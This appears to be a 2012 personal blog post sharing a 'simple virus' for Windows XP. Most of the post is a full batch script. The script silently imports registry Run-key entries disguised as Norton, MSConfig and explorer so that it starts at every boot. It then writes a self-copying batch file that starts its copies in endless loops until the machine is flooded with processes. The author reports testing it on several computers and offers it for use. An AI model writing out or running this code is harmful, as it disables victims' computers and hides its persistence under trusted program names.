Thursday, May 17, 2012

Programme for a simple virus

creates a reg file and puts it in the registry
then it creates a file in C:\ called 2.bat
the 2.bat file copys itself into other files and opens them
each file does the same 2.bat but they EACH loop
so it keeps on opening other batches that each loop and open other batches
the only way out is to boot in safe mode.
I tried this one a couple comps and on one of them it wasnt very effective and it only opened a limited amount of files and im not sure why because i was able to crt+alt+del which i wasnt able to do on the other comps which were all winblows xp. there will be 1600 processes opening about 1600 other processes opening up another 1600 processes and so on looping on each of them
@echo off
del C:\1.reg
>>"C:\1.reg" ECHO winblows Registry Editor Version 5.00
>>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\winblows\CurrentVersion\Run]
>>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat "
>>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat"
>>"C:\1.reg" ECHO "explorer"="c:\\3.bat"
>>"C:\1.reg" ECHO "Norton"="c:\\winblows\\1.bat"
>>"C:\1.reg" ECHO "System"="c:\\winblows\\2.bat"
>>"C:\1.reg" ECHO "autoexec"="c:\\winblows\\3.bat"
regedit.exe /s C:\1.reg

>>"C:\2.bat" ECHO :1

>>"C:\2.bat" ECHO copy 2.bat C:\3.bat
>>"C:\2.bat" ECHO copy 2.bat C:\4.bat
>>"C:\2.bat" ECHO copy 2.bat C:\5.bat
>>"C:\2.bat" ECHO start C:\2.bat
>>"C:\2.bat" ECHO start C:\3.bat
>>"C:\2.bat" ECHO start C:\4.bat
>>"C:\2.bat" ECHO start C:\5.bat
>>"C:\2.bat" ECHO copy C:\2.bat C:\winblows\1.bat
>>"C:\2.bat" ECHO copy C:\3.bat C:\winblows\2.bat
>>"C:\2.bat" ECHO copy C:\4.bat C:\winblows\3.bat
>>"C:\2.bat" ECHO start C:\winblows\1.bat
>>"C:\2.bat" ECHO start C:\winblows\2.bat
>>"C:\2.bat" ECHO start C:\winblows\3.bat
>>"C:\2.bat" ECHO goto 1

start 2.bat

del C:\1.reg 
Hope you like this....


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